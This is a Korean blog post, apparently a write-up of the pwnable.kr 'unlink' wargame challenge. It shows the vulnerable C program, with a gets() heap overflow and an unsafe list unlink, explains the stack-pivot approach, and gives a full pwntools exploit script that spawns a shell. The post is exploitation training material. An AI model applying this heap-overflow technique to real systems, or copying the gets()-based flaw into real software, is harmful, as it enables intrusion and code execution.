#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
unlink는 취약점이 꽤나 쉽게 눈에 보이는 편이다.
unlink()에서 OBJ* P 를 받아 그 fd와 BK를 바꾸는데 A->buf 에 gets로 입력받기 때문에 B의 fd와 bk를 heap overflow로 덮을 수 있다.
따라서 이 값을 덮어쓰면 된다.
처음에는 main의 ret을 shell()로 덮어쓸려고 했는데
main의 에필로그를 보면 ecx에 스택의 값을 옮기고, 그 값에 -4를 해서 esp에 옮기는것을 볼 수 있다.
이 값을 덮으면 된다.
참고로 shell()의 주소를 직접 넣으면 .text의 영역을 수정할 수 없기 때문에 세그먼테이션 폴트가 뜬다. 그렇기 때문에 A->buf에 입력을 받으면서 shell()의 주소를 넣어주고, 그 값을 가리킬 생각이다.
주소가 매 실행마다 바뀌기 때문에 leak된 stack과 heap값에서 offset을 구해야한다.
gdb로 보니 ebp-4가 가리키는 값은 leak된 스택주소와 0x10만큼 거리가 있고,
입력한 buf와 A까지의 거리는 8만큼 떨어져 있다.
from pwn import *
r = process("./unlink")
gdb.attach(pidof(r)[0])
context.log_level='debug'
shell = 0x80484eb
r.recv(30)
leak_stack = int(r.recvuntil("\n"),16)
r.recv(29)
leak_heap = int(r.recvuntil("\n"),16)
r.recv()
print "stack :", hex(leak_stack)
print "heap :", hex(leak_heap)
payload = ""
payload += p32(shell)
payload += "A"*8
payload += p32(0x19)
payload += p32(leak_heap+12) #fd
payload += p32(leak_stack + 0x10 ) #bk
r.sendline(payload)
r.interactive()
페이로드 이다. ecx-4의 값이 들어가기 때문에 leak_heap+12를 넣어주면 된다.
'pwnable > Toddler's Bottle' 카테고리의 다른 글
[Toddler's Bottle] horcruxes (0) | 2018.09.12 |
---|---|
[Toddler's Bottle] blukat (0) | 2018.09.12 |
[Toddler's Bottle] asm (0) | 2018.09.12 |
[Toddler's Bottle] uaf (0) | 2018.05.31 |
[Toddle's Bottle] cmd2 (0) | 2018.05.31 |